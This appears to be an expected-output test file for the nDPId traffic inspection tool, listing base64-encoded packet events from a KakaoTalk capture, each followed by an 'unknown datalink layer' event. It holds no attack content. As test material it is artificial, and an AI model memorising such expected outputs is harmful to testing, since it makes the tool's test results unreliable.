+00563{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":679,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":147406,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALIAAEAAHBH9yAHJAa4KGFK8WgYoHACebECAbE9Dizu8mguGVRlcaoWhyPwxag16dbJKTkYSNBRlraJmvTLTMmKNJaVC4M1pnOgVSZgUjce8SVeDMcTseCiADSTHY0R2ap7rSMWEDvCPxLeao72qDo9QksKWvfiz9C3HPUwiK6f8iBTk+gzvTINuN+RjsfxkXo2ItOMVwoBLk+lSY3g4RsPyyzM0I9gbElH0oiA+vLc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":679,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":680,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":184973,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/C5KAbDHRfqs8Q1SapdrDFF6bMh2cGvVgl5Vx96LFN4GVGuEJk2mhvBww2uHLmeB86MQwUTsKvB6C"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":680,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":681,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":214301,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGcAAEAAPxHbOwoYUrwByQGuLDhaBABTGLGAbE9LizvamguGVRndwCiOHgaBqTIyY8KihjIXwf8uixplGmRRdQTUyoiD05WqqASUhZSLpqfmPiI3Vznb+wPsdUz+zXf1R+gsX+I="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":681,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":682,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":214453,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAPxHbNwoYUrwByQGuLDhaBABXwdqAbE9MizveWguGVRngFydX1M\/06cMsS999H86RqXDs3N6Y6mG+7y4f34H\/NL2CZ49Y\/yetLR7wQovD7ykuBrsNsG+QU1SY8bkrbA7TzoSv"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":682,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":683,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":215705,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHBH+AAHJAa4KGFK8WgYoHABmk+KAbE9EizvAWguGVRl67W6zWA3g7GRIKWmm+UgB8J2FmD\/v3egi2f1kKYVlmCKOXsuD\/0E4w0vWSgzXW+mbWVlRv95s0wYDbJ2QO+pUJsRDfqhUAsXcc3T65YisV9oY"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":683,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":684,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":226172,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/5keAbDHSfqtAA1Sapdpn27RQXK+AobSAnGCoWZt2s+6QgofxbzTYsV5BMHFYbii9ypxskk4J2cm6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":684,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":685,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":235602,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/tHmAbDHJfqseQ1Sapdr4yXP2Pk+0FzXnL6lXPRNlGL+HhOT4aEpZhp+hh2S4oEaZARBtj+a44NVI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":685,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":686,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":289527,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/nbOAbDHKfqsiA1Sapdp1ifcXlEEzUvV\/cSU7GapAqkV1Wbi8rzs8hVvy2IaCh0tqw6LfVvO1lG68"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":686,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":687,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":305121,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/mfuAbDHTfqtDw1SapdqZclOiUBcmANaStnBTCncs4OgJJ4fLaobbNx+ZZzXD0a46FnAYmEIuFdIi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":687,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":688,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":310065,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG8AAEAAPxHbMwoYUrwByQGuLDhaBABbM66AbE9NizviGguGVRkGt6qOymfUIiwh0xEq0tYFwx3Lt99B+e+gEBhr50wjbouSs50lr1\/bDX+mWvVRb7AdHsxlCi5vjNdUn5jclag0W2Ra9TZSow=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":688,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":689,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":310248,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABOpJqAbE9Oizvl2guGVRlmU87bK+VVGeFQCIxpmzH7f5Z4j\/QIkBIddWU2SCka0jBFbcGNoGqDVjsV4vsPHobkXKN6HpXRjaFd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":689,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":690,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":328864,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHBH+AgHJAa4KGFK8WgYoHABk+ZKAbE9FizvEGguGVRnwxz5Xmu78XtXGQ1Fz6DDb2XyEyVUWETVmafqljLBgIKjK6YrQbaNfHyWNhvvh5bfTdTzEAx3A3oMpxSEIFAbgQB\/becj4pySDXcTxT5wpRA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":690,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":691,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":329901,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAENCkkAAQAbmZQoYUrzYOtyuwEEBuxTXAEVlWZivUBiMAAFrAAAVAwEAFnnuS9reX0mqADPiihp3NglZFsDnKQA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":691,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":692,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":342292,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/5P2AbDHUfqtHg1SapdqusXiD3yXwTCcYU\/Y5pzIsKilKeOwAjequMlOdRrUEaiLUvFft7nzoZBb+"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":692,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":693,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":387763,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/LJaAbDHLfqslw1SapdoiIt9\/SOSpCtKF+T3NMaj2lT\/UFCJSFJ1epUPMgJ8LyV\/OiNrbObmKlC6F"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":693,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":694,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":410315,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAPxHbPQoYUrwByQGuLDhaBABRR4qAbE9PizvpmguGVRlQ8qbgy8H0OCJfT\/J5b\/xK2RaJvgPHEMKt8ntxVULVSCFPuJW+nwDSN+W2M0QsseRX7YFL2UsRagY9jTTs"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":694,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":695,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":410437,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/jbaAbDHMfqspg1SapdryCVV0Q50Ox+P6j7rNUlcgeUJjYeIEExpvf3e+iWuh5PDH8eZkuTDLYsZF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":695,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00624{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":696,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":419928,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN5KokAAQAaVJQoYUrxuTI8y5ekjKS1plf3X8KnlgBgC9RiHAAABAQgKAALNSUTbp+sXAwEAILbxhIDCKdhRCzH4oAhnmUNSVjPdu4+4LCJK82kd928BFwMBAIBM\/sANPHgAqgK8IamEo6DNFVo5TCEfb1odeKiYcyJXfKq+doHU13nOI7vPqxaLuUw+kBx4fJ7Wd3KjWW+7jGSl1NGLNCOEawZ5A4Y3hicJAXWKkwWIrs8QIz6mzbzW0D3GRAWQ8h9fbX1fSnNnjWdjZvUyqv3GuyXi+5Wcpg2KDQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":696,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":697,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":421881,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/QtCAbDHVfqtLQ1Sapdq0tZIcjIGwhKYlII5ejkRFRA2lFOrXjw6P2GK590WiCCSnu2QKYGvzvOR0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":697,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":698,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":483435,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/AOeAbDHWfqtPA1SapdpXkECFv25nB+OU3SfFWMQlJIRPGdMSLBFeMxtYkOfzPPIIU1JZ9KuotoQn"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":698,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":699,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":489173,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTyjUAALwb+425MjzIKGFK8Iynl6dfwqeUtaZangBAALRCkAAABAQgKRNuqsAACzRE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":699,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":700,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":516516,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAPxHbNwoYUrwByQGuLDhaBABXpASAbE9QizvtWguGVRlB2sQIlkFU+UojhvoyTBRGvzScdzbhEvL90ZSdJfAsp0F+svvStw0hc1UE6oCbKSTJ7\/2OZdpQU7PNpBVulgynQU2w"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":700,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":701,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":516699,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABL4gmAbE9RizvxGguGVRn6A9l\/PAS+R5EblphoXtixcii6pf6IY7QUCAFjjZcR4QWupww2qcIwmBUB0YXlAlp679UgK8TM"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":701,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":702,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":516791,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHUAAEAAHBH+BQHJAa4KGFK8WgYoHABh+DSAbE9GizvH2guGVRl8q9qQB4iZec0J+v4v1i9EMXzfKZCW84c0o6mxnwc3bssfqqaHDAkDExabNW5fjuZtPBM5vvevEglYbpjOmqhwKp1mjdISkVIDIb2b9A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":702,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":703,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":563605,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/0GKAbDHXfqtSw1SapdrGrVCs+pHHwoKkh1VlLnoGvDDZQPZgLo8fov5Txz4f7KGBEfsMU1+4qY+D"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":703,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":704,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":579566,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHBH+AgHJAa4KGFK8WgYoHABkNeuAbE9HizvLmguGVRlooz7kOJTyNwU1euQqUWss\/ZjRzS+Nm8oENz+bqqC8cxiB3FKAJKt8JzwxYRxlh4UqAFR7Gb8tKiGnz9jodv9yzvgBH0+fo3oDHdlrfpZX9w=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":704,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":705,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":579810,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/kDyAbDHNfqstQ1Sapdq49n+4NgznfaPHTZvyERm1AP6JhU3KNKSYA1FCg7hqRU2VZK3LXpAdpbZF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":705,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":706,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":610358,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABOafWAbE9Sizv02guGVRmJCXtJtZMeVgmAHfdtfa6PA+11SvPEO2qbLPnU3GgOWAddkWbyOnyqkh7FVo7EBbPYa8bnf6IqYH2K"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":706,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":707,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":610511,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLNlOAbE9Tizv4mguGVRkQIE1G0Qw3VJDcFnNFKNRn2IXIMZDKuoCiK2cAyJdomZAy4AW13c7rDsRY76BC8pN1uTeC9HhQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":707,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":708,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":621710,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/KMGAbDHYfqtWg1Sapdoe3v0zl9QDlg8t0fw86CSWvtiqbFP1+g+gKNKuPaEf+mgBrfPeu2lKS3tH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":708,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":709,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":623603,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/DOSAbDHOfqsxA1SapdqOjPc+ZMvKA+6DyLUUBGVVLs36vbmfyG\/pUtzWswOrjQf\/rR8ia+l6pB2V"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":709,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":710,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":635779,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHBH+EgHJAa4KGFK8WgYoHABUuE+AbE9IizvPWguGVRnv\/JV9Cu+4DU8pgpXodtXckkbMgyZ35e5ll\/oomn2v1ErMlI2gYVx0b9s6duUVmLlHvHQEGh7IlMSFoLDjRgCQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":710,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00626{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":711,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":639258,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN7n9EAAPwb40goYUrxuTI8ygMgfkPcR37aSeOaRgBgA0E1UAAABAQgKAAtFqkTbqIsXAwEAINWiqX52zUchfJWZ3iawQbVAmaEUWwAsbjgBg7R0svLxFwMBAIB\/fnSyda6o\/YAkz7pZyWmImbNglNsICFJqFPRvCUYshxLwnlh+IUuda7HDF9h2ydXoBiwFkb2Kteusu9HQsFTfDLUdyTy0qZbXQa8UNfUpoMZzKvjBJ3T9LsqvjqWt+f260I\/mFpq0TF4mUhrhFXV19lNWwil8SLeFHtAytpWo1Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":711,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":712,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":647467,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVlu+AbE9JizvTGguGVRmI5vKhBood2qpg+sqGW6ZOQJNwy2TKbB7Do\/OSrEBp1mzWPO6c4HzBoT45R1Al+7HQgUJF44mbpvYSRChpyyAh9g=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":712,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":713,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":662543,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/Ik6AbDHZfqtaQ1Sapdqw\/M\/j+9TkHNGDdVZHksoZvr9gWqIa16cFKxnNdlFrBCC6+haZY5A8Iha8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":713,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 